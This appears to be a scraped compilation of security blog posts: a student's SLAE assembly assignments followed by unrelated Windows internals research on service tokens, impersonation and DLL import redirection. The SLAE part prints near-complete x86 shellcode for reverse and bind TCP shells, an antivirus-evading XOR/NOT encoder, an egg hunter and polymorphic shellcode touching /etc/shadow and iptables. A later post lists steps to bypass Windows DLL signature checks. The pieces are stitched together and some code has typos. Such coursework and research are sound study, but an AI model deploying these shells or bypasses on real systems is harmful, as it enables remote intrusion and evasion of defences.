Normal view
Shellcode Polymorphism
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
GitHub:
SLAE Assignment #6 - Polymorphic
- Create a polymorphic version of 3 shellcodes from Shell-Storm
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus: points for making it shorter in length than original
~~~~~~~~~//*****//~~~~~~~~~
link: www.shell-storm.org/shellcode/files/shellcode-593.php
Here's the original shellcode with the size of 29 bytes disassembled using ndisasm. Similar to 0x1, lines 3, 8, and D show the file name /etc//shadow which means this will be the focus with the polymorphism process. Line 14 shows the permission 0777 which could also be polymorphed using some add or sub instructions but I didn't do it base on the %150 shellcode size requirement.
For the polymorphism, I used a combination of similar technique from 0x1 plus a JMP-CALL-POP technique. I subtracted 0x11111111 from each dword and then dynamically loaded the new values to the stack. After they are popped, I added 0x11111111 to recover the original value before they pushed back into the stack again. The size of the new shellcode is 44 bytes.
0x3 -iptables -F
link: www.shell-storm.org/shellcode/files/shellcode-368.php
The following instructions results: /sbin/iptables -F which then get executed using execve()
I used the JMP-CALL-POP method to change it up. Basically the /sbin/iptables -F hex codes from above are replaced. The new shellcode size is 58 bytes.
Shellcode Analysis
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #5 - Analysis of Linux/x86 msfpayload shellcodes
- Use GDB/ndisasm/libemu to dissect the functionality of the shellcode
~~~~~~~~~//*****//~~~~~~~~~
For this assignment, I will be using the first three Linux/x86 payloads generated by msfvenom (formerly msfpayload)
0x1 - linux/x86/adduser
msfvenom -p linux/x86/adduser -f raw | ndisasm-u -
0x2 - linux/x86/chmod
0x3 - linux/x86/exec
Shellcode Encoder
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #4 - Encoder
- Create a custom encoding scheme
~~~~~~~~~//*****//~~~~~~~~~
For this assignment, we will be encoding an execve shellcode that spawns a /bins/sh using XOR and then NOT encoding. The idea behind encoding is that we can alter opcodes without altering its functionality. For instance, using the shellcode below, it is pretty clear that our shellcode contains \x2f\x2f\x73\x68\x2f\x62\x69\x6e which translates to //bin/sh. Among other things, this is something that could be easily caught by Anti-virus (AV) or Intrusion Detection System (IDS).
Below is the original execve-stack.nasm file and its corresponding opcodes/shellcode.
Once we get the original shellcode...I used python for encoding which will be a two-step process: XOR encoding first, then NOT encoding the result of the first step.
Below is the output of the encoder python script. I am printing both XOR and NOT encoded shellcodes however, we will only need the NOT encoded shellcode for our decoder.
With the 'XOR then NOT' encoded shellcode, we are now ready to create our decoder to revert or decode it back to the original shellcode.
For this step, I am using the jmp-pop-call method again. We load the encoded shellcode into the stack by using the call instruction. We then pop it and load it into a register (esi for this one). We can then loop through each byte of the encoded shellcode loaded in esi.
We first do a NOT then followed by XOR 0xaa.
Below shows the encoding and decoding scheme for the first byte
encoding: 0x31---> 0x9b (0x31 XOR 0xaa) -----> 0x64 (NOT 0x9b & 0xff)
decoding: 0x64---> 09xb (NOT 0x64 & 0xff) ---> 0x31 (0x9b XOR 0xaa)
...and here's the complete nasm file with our decoder.
We compile then generate a new shellcode using objdump.
We update our shellcode.c file, compile it and execute.
Note that with this the new shellcode, it shows that we can 'hide' the //bin/sh while maintaining the functionality.
SUCCESS!
Egg Hunter
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #3 - Egghunter
- Create a working demo of the egg hunter
~~~~~~~~~//*****//~~~~~~~~~
For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.
What is an egg_hunter? Why do we need it?
An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.
This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).
Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:
%define _EGG 0x50905090
xor ebx, ebx ;remove x00/NULL byte
mov ebx _EGG ;move 0x50905090 egg into ebx register
xor ecx, ecx ;remove x00/NULL byte
mul ecx ;intializes eax, ecx, edx with x000000000 value
We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().
We will be using the *pathname pointer argument to validate the address that will contain our egg.
I globally defined two more variables: the access() syscall and EFAULT
%define _SYSCALL_ERR ;0xf2
%define __NR_access ;0x21
...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS
The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction
NEXT_PAGEFILE:
or dx, 0xfff ;note that edx is the pointed *pathname
;0xffff == 4095
The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.
NEXT_ADDRESS:
inc edx ;increments edx, checks next address if it contains the egg
pusha ;push eax, ebx, ecx, edx....these registers are used multiple
;pushing them to the stack to preserve values when popped
lea ebx, [edx +4]
xor eax, eax ;remove x00/NULL byte
mov al, __NR_access ;syscall 33 for access(2)
int 0x80 ;interrupt/execute
;egg hunting begins
cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
popa ;branch, pop eax, ebx, ecx, edx
jz NEXT_PAGEFILE ;al return value == EFAULT value, invalid address memory
;move to the next PAGESIZE
cmp [edx], ebx ;if al retun value != EFAULT value, execute this instruction
;compares the egg with edx value
jnz NEXT_ADDRESS ;not EFAULT but _EGG not found, loop again
cmp[edx +4], ebx ;_EGG found, test for the next 4 byte of the _EGG
jnz NEXT_ADDRESS ;if next 4 bytes of edx value !=_EGG, loop again
jmp edx ;finally, 8 bytes of _EGG found, jmp to address of edx
We compile our nasm file and obtain our shellcode using objdump.
We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.
I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.
For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.
SUCCESS!!
Reverse TCP Shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #2 - Create a Shell_Reverse_TCP shellcode
- Reverse connects to configured IP and Port
- Execs shell on successful connection
- IP and Port should be easily configurable
~~~~~~~~~~//*****//~~~~~~~~~~
Creating a REVERSE_TCP shell consist of 3 functions
0x1 socket
0x2 connect
0x3 execve
0x1 - socket
Similar to assignment #1, the first thing we need to do is set-up our socket. This can be accomplished by pushing the following parameters into the stack.
We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)
push 0x6 ;TCP or 0x6
push 0x1 ;SOCK_STREAM or 0x1
push 0x2 ;AF_INET or 0x2
We can then invoke the socketcall() system call, as shown below:
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcall
xor ebx, ebx ;remove x00/NULL byte
mov bl, 0x1 ;net.h SYS_SOCKET 1 (0x1)
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg to SYS_SOCKET
int 0x80 ;interrupt/execute
mov edi, eax ;sockfd, store return value of eax into edi
0x2 - connect
Once our socket is set-up, the next step is to invoke the connect() system call. This will be used to connect back to the listening machine, through the socket using an IP address and Port destination.
Below shows what we need for the connect():
One main difference with reverse shell vs. a bind shell is that we need both the IP and port of the listening machine for the reverse shell. Specifically, we use 192.168.199.128 and port 4445 as the IP and port respectively. We load both the IP and port address into the stack using jmp-pop-call method again. We first do a jmp to the label that contains our IP and port. '192.168.199.1304445' is then loaded to the stack once the call command is called. We can then call the pop esi instruction which loads the '192.168.199.1304445' into the esi register. Finally, to split the IP and port we do a push dword[esi] which pushes the first 4 bytes (192.168.199.130) and then a push word[esi +4] which pushes the last two bytes (4445).
We then call the socketcall() and SYS_CONNECT.
reverse_jump:
jmp short reverse_ip_port
connect:
;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen$
pop esi ;pops port+IP (total of 6 bytes), ESP addr to e$
xor eax, eax ;removes x00/NULL byte
xor ecx, ecx ;removes x00/NULL byte
push dword[esi] ;push IP (first 4 bytes of esi)
push word[esi +4] ;push PORT (last 2 bytes of esi)
mov al, 0x2 ;AF_INET IPV4
push ax
mov eax, esp ;store stack address into edc (struct sockaddr)
push 0x10 ;store length addr on stack
push eax ;push struct sockaddr to the stack
push edi ;sockfd from th eax _start
xor eax, eax ;removes x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcall
xor ebx, ebx ;removes x00/NULL byte
mov bl, 0x03 ;net.h SYS_CONNECT 3
mov ecx, esp ;arg for SYS_CONNECT
int 0x80
reverse_ip_port:
call connect
reverse_ip dd 0x82c7a8c0 ;192.168.199.130, hex in little endian
reverse_port dw 0x5d11 ;port 4445, hex in little endian
0x3 - execve
Before execve() syscall can be invoked, we have to set up dup2() calls to ensure all the std in/out/error goes through the socket. We use the same technique utilized in assignment #1.
change_fd:
;multiple dup2() to ensure that stdin, stdout, std error will
;go through the socket connection
xor ecx, ecx ;removes 0x00/NULL byte, 0 (std in)
xor eax, eax ;removes 0x00/NULL byte
xor ebx, ebx ;removes 0x00/NULL byte
mov ebx, edi ;sockfd from the eax _start
mov al, 0x3f ;syscall 63 for dup2
int 0x80 ;interrupt/execute
mov al, 0x3f ;syscall 63 for dup2
inc ecx ;+1 to cx, 1 (std out)
int 0x80 ;interrupt/execute
mov al, 0x3f ;syscall 63 for dup2
inc ecx ;+1 to ecx, 2 (std error)
int 0x80 ;interrupt/execute
Shell time! Shells for everyone!
This is no different than assignment #1 shell. We use execve() syscall to invoke a /bin/sh, however this time it sends the file std in/out back to the listening machine.
execve:
xor eax, eax ;removes x00/NULL byte
push eax ;push first null dword
push 0x68732f2f ;hs//
push 0x6e69622f ;nib/
mov ebx, esp ;save stack pointer in ebx
push eax ;push null byte terminator
mov edx, esp ;moves address of 0x00hs//nib/ into edx
push ebx
mov ecx, esp
mov al, 0xb ;syscall 11 for execve
int 0x80
Testing our reverse shell
First, we start with compiling our nasm file into executable and then opening up a listener in our Kali box.SUCCESS...our reverse shell works.
SLAE Certification
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
~~~~~~~~~//*****//~~~~~~~~~
SLAE Assignment #1 - Bind TCP Shell
SLAE Assignment #2 - Reverse TCP Shell
SLAE Assignment #3 - Egg Hunter
SLAE Assignment #4 - Encoder
SLAE Assignment #5 - Shellcode Analysis
SLAE Assignment #6 - Polymorphism
SLAE Assignment #7 - Crypter
Shout out to Vivek for doing an amazing job teaching the course. It was a perfect blend of the crawl, walk, run--from learning the basics of assembly registers to operations/conditions/controls/loops, creating shellcodes, and finally creating encoders/polymorphism/crypters.
Bind TCP Shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode
- Binds to a port
- Execs Shell on incoming connection
- Port number should be easily configurable
~~~~~~~~~//*****//~~~~~~~~~
Creating a BIND_TCP shell can be broken down into 4 functions.
0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve
... let us begin
0x1 - socket
First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.
domain = AF_INET or 0x2
type = SOCK_STREAM or 0x1
protocol = TCP or 0x6
We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.
We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)
push 0x6
push 0x1
push 0x2
Once the socket has been created, we then invoke the socketcall() syscall
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 (x66) for socketcall
xor ebx, ebx ;remove x00/NULL byte
mov bl, 0x1 ;net.h SYS_SOCKET 1 (0x1)
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg 2, esp address to ecx
int 0x80 ;interrupt/excute
mov edi, eax ;sockfd, this will be referenced throughout the
0x2 -bind
One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.
bind:
jmp short port_to_blind
call_bind:
pop esi ; pops ESP addr
xor eax, eax ;remove x00/NULL byte
push eax ;push eax NULL value to the stack
push word[esi] ;push actual port number to the stac, word=2 bytes
mov al, 0x2 ;AF_INET IPv4
push ax
mov edx, esp ;store stack addr (struct sockaddr)
push 0x10 ;store length addr on stack
push edx ;push strct sockaddr to the stack
push edi ;sockfd from the eax _start
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcall
mov bl, 0x02 ;net.h SYS_BIND 2 (0x02)
mov ecx, esp ;arg for SYS_BIND
int 0x80 ;interrupt/execute
port_to_bind:
call call_bind
port_number dw 0x5d11 ;port 4445 (0x115d)
;this gets pushed to the stack after the call instruction
0x3 - listen
The listen() syscall is pretty straightforward.
push 0x1 ; int backlog
push edi ; sockfd from eax _start
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcal
xor ebx, ebx ;remove x00/NULL byte
mov bl, 0x4 ;net.h SYS_LISTEN 4
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg for SYS_LISTEN
int 0x80 ;interrupt/execute
0x4 - accept
Likewise, accept() is pretty straight forward.
push eax ;push NULL value to addrlen
xor ebx, ebx ;remove x00/NULL byte
push ebx ;push NULL value to addr
push edi ;sockfd from eax _start
mov al, 0x66 ;syscall 102 for socketcall
mov bl, 0x5 ;net.h SYS_ACCEPT 5
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg for SYS_ACCEPT
int 0x80 ;interrupt/execute
0x4a - change_fd
This is all the dup2() functions which ensure file /bin/sh goes through the socket connection
mov ebx, eax ;moves fd from accept to ebx
xor ecx, ecx ;removes 0x00/NULL byte, 0 (std in)
xor eax, eax ;removes 0x00/NULL byte
mov al, 0x3f ;syscall 63 for dup2
int 0x80 ;interrupt/execute
mov al,0x3f ;syscall 63 for dup2
inc ecx ;+1 to ecx, 1 (std out)
int 0x80 ;interrupt/execute
mov al, 0x3f ;syscall 63 for dup2
inc ecx ;+1 to ecx, 2 (std error)
int 0x80 ;interrupt/execute
0x5 - execve
At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.
The following instructions are taken directly from the execve module of the SLAE course.
xor eax, eax ;removes x00/NULL byte
push eax ;push first null dword
push 0x68732f2f ;hs//
push 0x6e69622f ;nib/
mov ebx, esp ;save stack pointer in ebx
push eax ; push null byte as 'null byte terminator'
mov edx, esp ;moves address of 0x00hs//nib/ into ecx
push ebx
mov exc, esp
mov al, 0xb ; syscall 11 for execve
int 0x80
And we are done!
Testing our bind shell.
We compile nasm file and execute it.Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.
BT IP: 192.168.199.128
Ubuntu IP: 192.168.199.129
We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:
Success..we can see the connection established.
Finally, we use objdump to obtain the shellcode from our executable
***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.
Here's an example of using the shellcode with a .c program
We compile shellcode.c, execute it and connect to 4445 from out BT machine.
SUCCESS!
Symbolic Hooks Part 2 : Getting the Target Name
- Winsider Seminars & Solutions Inc.
- “Move aside, signature scanning!” Better kernel data discovery through lookaside lists
“Move aside, signature scanning!” Better kernel data discovery through lookaside lists
Getting an Interactive Service Account Shell
To make this even easier, NtObjectManager implements the Start-Win32ChildProcess command, which works like the following:
PS> $p = Start-Win32ChildProcess powershell
And you'll now see a console window with a copy of PowerShell. What if you want to instead spawn Local Service or Network Service? You can try the following:
PS> $user = Get-NtSid -KnownSid LocalService
PS> $p = Start-Win32ChildProcess powershell -User $user
The process starts, however you'll find it immediately dies:
PS> $p.ExitNtStatus
STATUS_DLL_INIT_FAILED
The error code, STATUS_DLL_INIT_FAILED, basically means something during initialization failed. Tracking this down is a pain in the backside, especially as the failure happens before a debugger such as WinDBG typically gets control over the process. You can enable the Create Process event filter, but you still have to track down why it fails.
I'll save you the pain, the problem with running an interactive service process is the Local Service/Network Service token doesn't have access to the Desktop/Window Station/BaseNamedObjects etc for the session. It works for SYSTEM as that account is almost always granted full access to everything by virtue of either the SYSTEM or Administrators SID, however the low-privileged service accounts are not.
One way of getting around this would be to find every possible secured resource and add the service account. That's not really very reliable, miss one resource and it might still not work or it might fail at some indeterminate time. Instead we do what the OS does, we need to create the service token with the Logon Session SID which will grant us access to the session's resources.
First create a SYSTEM powershell command on the current desktop using the Start-Win32ChildProcess command. Next get the current session token with:
PS> $sess = Get-NtToken -Session
We can print out the Logon Session SID now, for interest:
PS> $sess.LogonSid.Sid
Name Sid
---- ---
NT AUTHORITY\LogonSessionId_0_41106165 S-1-5-5-0-41106165
Now create a Local Service token (or Network Service, or IUser, or any service account) using:
PS> $token = Get-NtToken -Service LocalService -AdditionalGroups $sess.LogonSid.Sid
You can now create an interactive process on the current desktop using:
PS> New-Win32Process cmd -Token $token -CreationFlags NewConsole
You should find it now works :-)
DLL Import Redirection in Windows 10 1909
What piqued my interesting was during initialization I saw the following code being called:
The code was extracting a UNICODE_STRING from the RTL_USER_PROCESS_PARAMETERS block then passing it to LdrpLoadDll to load it as a library. This looked very much like a supported mechanism to inject a DLL at startup time. Sounds like a bad idea to me. Based on the name it also sounds like it supports redirecting imports, which really sounds like a bad idea.
Of course it’s possible this feature is mediated by the kernel. Most of the time RTL_USER_PROCESS_PARAMETERS is passed verbatim during the call to NtCreateUserProcess, it’s possible that the kernel will sanitize the RedirectionDllName value and only allow its use from a privileged process. I went digging to try and find who was setting the value, the obvious candidate is CreateProcessInternal in KERNELBASE. There I found the following code:
Searching for related terms I found the following inside UapManifestSchema_v7.xsd:
This fits exactly with what I was looking for. Specifically the Schema type is ST_DllFile which defined the allowed path component for a package relative DLL. Searching MSDN for the ImportRedirectionTable manifest value brought me to this link. Interestingly though this was the only documentation. At least on MSDN I couldn’t seem to find any further reference to it, maybe my Googlefu wasn’t working correctly. However I did find a Stack Overflow answer, from a Microsoft employee no less, documenting it *shrug*. If anyone knows where the real documentation is let me know.
With the SO answer I know how to implement it inside my own DLL. I need to define list of REDIRECTION_FUNCTION_DESCRIPTOR structures which define which function imports I want to redirect and the implementation of the forwarder function. The list is then exported from the DLL through a REDIRECTION_DESCRIPTOR structure as __RedirectionInformation__. For example the following will redirect CreateProcessW and always return FALSE (while printing a passive aggressive statement):
However, to be useful in Chrome it obviously has to work outside of a packaged application. One obvious limitation is there doesn’t seem to be a way of specifying this redirection DLL if the application is not packaged. Microsoft could support this using a new Process Thread Attribute, however I’d expect the potential for abuse means they’d not be desperate to do so.
The initial code doesn’t seem to do any checking for the packaged application state, so at the very least we should be able to set the RedirectionDllName value and create the process manually using NtCreateUserProcess. The problem was when I did the process initialization failed with STATUS_INVALID_IMAGE_HASH. This would indicate a check was made to verify the signing level of the DLL and it failed to load.
Trying with any Microsoft signed binary instead I got STATUS_PROCEDURE_NOT_FOUND which would imply the DLL loaded but obviously the DLL I picked didn't export __RedirectionInformation__. Trying a final time with a non-Microsoft, but signed binary I got back to STATUS_INVALID_IMAGE_HASH again. It seems that outside of a packaged application we can only use Microsoft signed binaries. That’s a shame, but oh well, it was somewhat inconvenient to use anyway.
Before I go there are two further undocumented functions (AFAIK) the DLL can export.
BOOL __ShouldApplyRedirection__(LPWSTR DllName)
If this function is exported, you can disable redirection for individual DLLs based on the DllName parameter by returning FALSE.
BOOL __ShouldApplyRedirectionToFunction__(LPWSTR DllName, DWORD Index)
This function allows you to disable redirection for a specific import on a DLL. Index is the offset into the redirection table for the matched import, so you can disable redirection for certain imports for certain DLLs.
In conclusion, this is an interesting feature Microsoft added to Windows to support a niche edge case, and then seems to have not officially documented it. Nice! However, it doesn’t look like it’s useful for general purpose import redirection as normal applications require the file to be signed by Microsoft, presumably to prevent this being abused by malicious code. Also there's no trivial way to specify the option using CreateProcess and calling NtCreateUserProcess doesn't correctly initialize things like SxS and CSRSS connections.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Now if you’ve bothered to read this far, I might as well admit you can bypass the signature check quite easily. Digging into where the DLL loading fails we find the following code inside LdrpMapDllNtFileName:
If you look back at the original call to LdrpLoadDll you'll notice that it was passing flag 0x1000000, which presumably means the DLL should be checked against a known signing level. The check is also disabled if the process is in a Packaged Process through a check on the PEB. This is why the load works in a Packaged Application, this check is just disabled. Therefore one way to get around the check would be to just use a Packaged App of some form, but that's not very convenient. You could try setting the flag manually by writing to the PEB, however that can result in the process not working too well afterwards (at least I couldn't get normal applications to run if I set the flag).
What is LdrpSetModuleSigningLevel actually doing? Perhaps we can just bypass the check?
The code is using a the NtGetCachedSigningLevel and NtSetCachedSigningLevel system calls to use the kernel's Code Integrity module to checking the signing level. The signing level must be at least level 8, passing in from the earlier code, which corresponds to the "Microsoft" level. This ties in with everything we know, using a Microsoft signed DLL loads but a signed non-Microsoft one doesn't as it wouldn't be set to the Microsoft signing level.
The cached signature checks have had multiple flaws before now. For example watch my UMCI presentation from OffensiveCon. In theory everything has been fixed for now, but can we still bypass it?
The key to the bypass is noting that the process we want to load the DLL into isn't actually running with an elevated signing level, such as Microsoft only DLLs or Protected Process. This means the cached image section in the SECTION_OBJECT_POINTERS structure doesn't have to correspond to the file data on disk. This is effectively the same attack as the one in my blog on Virtual Box (see section "Exploiting Kernel-Mode Image Loading Behavior").
Therefore the attack we can perform is as follows:
1. Copy unsigned Import Redirection DLL to a temporary file.
2. Open the temporary file for RWX access.
3. Create an image section object for the file then map the section into memory.
4. Rewrite the file with the contents of a Microsoft signed DLL.
5. Close the file and section handles, but do not unmap the memory.
6. Start a process specifying the temporary file as the DLL to load in the RTL_USER_PROCESS_PARAMETERS structure.
7. Profit?
Of course if you're willing to write data to the new process you could just disable the check, but where's the fun in that :-)
Don't Use SYSTEM Tokens for Sandboxing (Part 1 of N)
As I mentioned in the last post it's possible to configure services with a limited set of privileges. For example you can have a service where you're only granted SeTimeZonePrivilege and every other default privilege is removed. Interestingly you can do this for any service running as SYSTEM. We can check what services are configured without SeImpersonatePrivilege with the following PS.
PS> Get-RunningService -IncludeNonActive | ? { $_.UserName -eq "LocalSystem" -and $_.RequiredPrivileges.Count -gt 0 -and "SeImpersonatePrivilege" -notin $_.RequiredPrivileges }
On my machine that lists 22 services which are super secure and don't have SeImpersonatePrivilege configured. Of course the SYSTEM user is so powerful that surely it doesn't matter whether they have SeImpersonatePrivilege or not. You'd be right but it might surprise you to learn that for the most part SYSTEM doesn't need SeImpersonatePrivilege to impersonate (almost) any user on the computer.
Let's see a diagram for the checks to determine if you're allowed to impersonate a Token. You might know it if you've seen any of my presentations, or read part 3 of Reading Your Way Around UAC.
Actually this diagram isn't exactly like I've shown before I changed one of the boxes. Between the IL check and the User check I've added a box for "Origin Session Check". I've never bothered to put this in before as it didn't seem that important in the grand scheme. In the kernel call SeTokenCanImpersonate the check looks basically like:
if (proctoken->AuthenticationId ==
imptoken->OriginatingLogonSession) {
return STATUS_SUCCESS;
}
The check is therefore, if the current Process Token's Authentication ID matches the Impersonation Token's OriginatingLogonSession ID then allow impersonation. Where is OriginatingLogonSession coming from? The value is set when an API such as LogonUser is used, and is set to the Authentication ID of the Token calling the API. This check allows a user to get back a Token and impersonate it even if it's a different user which would normally be blocked by the user check. Now what Token authenticates all new users? SYSTEM does, therefore almost every Token on the system has an OriginatingLogonSession value set to the Authentication ID of the SYSTEM user.
Not convinced? We can test it from an admin PS shell. First create a SYSTEM PS shell from an Administrator PS shell using:
PS> Start-Win32ChildProcess powershell
Now in the SYSTEM PS shell check the current Token's Authentication ID (yes I know Pseduo is a typo ;-)).
PS> $(Get-NtToken -Pseduo).AuthenticationId
LowPart HighPart
------- --------
999 0
Next remove SeImpersonatePrivilege from the Token:
PS> Remove-NtTokenPrivilege SeImpersonatePrivilege
Now pick a normal user token, say from Explorer and dump the Origin.
PS> $p = Get-NtProcess -Name explorer.exe
PS> $t = Get-NtToken -Process $p -Duplicate
PS> $t.Origin
LowPart HighPart
------- --------
999 0
As we can see the Origin matches the SYSTEM Authentication ID. Now try and impersonate the Token and check what the resultant impersonation level assigned was:
PS> Invoke-NtToken $t {$(Get-NtToken -Impersonation -Pseduo).ImpersonationLevel}
Impersonation
We can see the final line shows the impersonation level as Impersonation. If we'd been blocked impersonating the Token it'd be set to Identification level instead.
If you think I've made a mistake we can force failure by trying to impersonate a SYSTEM token but at a higher IL. Run the following to duplicate a copy of the current token, reduce IL to High then test the impersonation level.
PS> $t = Get-NtToken -Duplicate
PS> Set-NtTokenIntegrityLevel High
PS> Invoke-NtToken $t {$(Get-NtToken -Impersonation -Pseduo).ImpersonationLevel}
Identification
As we can see, the level has been set to Identification. If SeImpersonatePrivilege was being granted we'd have been able to impersonate the higher IL token as the privilege check is before the IL check.
Is this ever useful? One place it might come in handy is if someone tries to sandbox the SYSTEM user in some way. As long as you meet all the requirements up to the Origin Session Check, especially IL, then you can still impersonate other users even if that's been stripped away. This should work even in AppContainers or Restricted as the check for sandbox tokens happens after the session check.
The take away from this blog should be:
- Removing SeImpersonatePrivilege from SYSTEM services is basically pointless.
- Never try create a sandboxed process which uses SYSTEM as the base token as you can probably circumvent all manner of security checks including impersonation.
Uncovering Mimikatz 'msv' and collecting credentials through PyKD
Dumping DPC Queues: Adventures in HIGH_LEVEL IRQL
Reversing DPC: KeInsertQueueDpc
Empirically Assessing Windows Service Hardening
Of course, none of this is really new, Cesar Cerrudo detailed these sorts of service attacks in Token Kidnapping and Token Kidnapping's Revenge. The novel element recently is how to get hold of the access token, for example via negotiating local NTLM authentication. Microsoft seem to have been fighting this fire for almost 10 years and still have not gotten it right. In shades of UAC, a significant security push to make services more isolated and secure has been basically abandoned because (presumably) MS realized it was an indefensible boundary.
That's not to say there hasn't been interesting service account to SYSTEM bugs which Microsoft have fixed. The most recent example is CVE-2019-1322 which was independently discovered by multiple parties (DonkeysTeam, Ilias Dimopoulos and Edward Torkington/Phillip Langlois of NCC). To understand the bug you probably should read up one of the write-ups (NCC one here) but the gist is, the Update Orchestrator Service has a service security descriptor which allowed "NT AUTHORITY\SERVICE" full access. It so happens that all system services, including lower-privileged ones have this group and so you could reconfigure the service (which was running as SYSTEM) to point to any other binary giving a direct service to SYSTEM privilege escalation.
That begs the question, why was CVE-2019-1322 special enough to be fixed and not issues related to impersonation? Perhaps it's because this issue didn't rely on impersonate privileges being present? It is possible to configure services to not have impersonate privilege, so presumably if you could go from a non-impersonate service to an impersonate service that would count as a boundary? Again probably not, for example this bug which abuses the scheduled task service to regain impersonate privilege wouldn't likely be fixed by Microsoft.
That lack of clarity is why I tweeted to Nate Warfield and ultimately to Matt Miller asking for some advice with respect to the MSRC Security Servicing Guidelines. The result is, even if the service doesn't have impersonate privilege it wouldn't be a defended boundary if all you get is the same user with additional privileges as you can't block yourself from compromising yourself. This is the UAC argument over again, but IMO there's a crucial difference, Windows Service Hardening (WSH) was supposed to fix this problem for us in Vista. Unsurprisingly Cesar Cerrudo also did a presentation about this at the inaugural (maybe?) Infiltrate in 2011.
The question I had was, is WSH still as broken as it was in 2011? Has anything changed which made WSH finally live up to its goal of making a service compromise not equal to a full system compromise? To determine that I thought I'd run an experiment on Windows 10 1909. I'm only interested in the features which WSH touches which led me to the following hypothesis:
"Under Windows Service Hardening one service without impersonate privilege can't write to the resources of another service which does have the privilege, even if the same user, preventing full system compromise."
The hypothesis makes the assumption that if you can write to another service's resources then it's possible to compromise that other service. If that other service has SeImpersonatePrivilege then that inevitably leads to full system compromise. Of course that's not necessarily the case, the resource being written to might be uninteresting, however as a proxy this is sufficient as the goal of WSH is to prevent one service modifying the data of another even though they are the same underlying user.
WSH Details
Before going into more depth on the experiment, let's quickly go through the various features of WSH and how they're expressed. If you know all this you can skip to the description of the experiment and the results.Limited Service Accounts and Reduced Privilege
What's the difference between LS and NS? The primary difference is LS has no network credentials, so accessing network resources as that user would only succeed as an anonymous login. NS on the other hand is created with the credentials of the computer account and so can interact with the network for resources allowed by that authentication. This only really matters to domain joined machines, standalone machines would not share the computer account with anyone else.
Per-Service SID
Write-Restricted Token
And the Rest
Experiment Procedure
Step 1: Build an access token for a service which doesn't exist on the system.
Step 2: Enumerate all resources of a specific type which are owned by the token owner and perform an access check using the token.
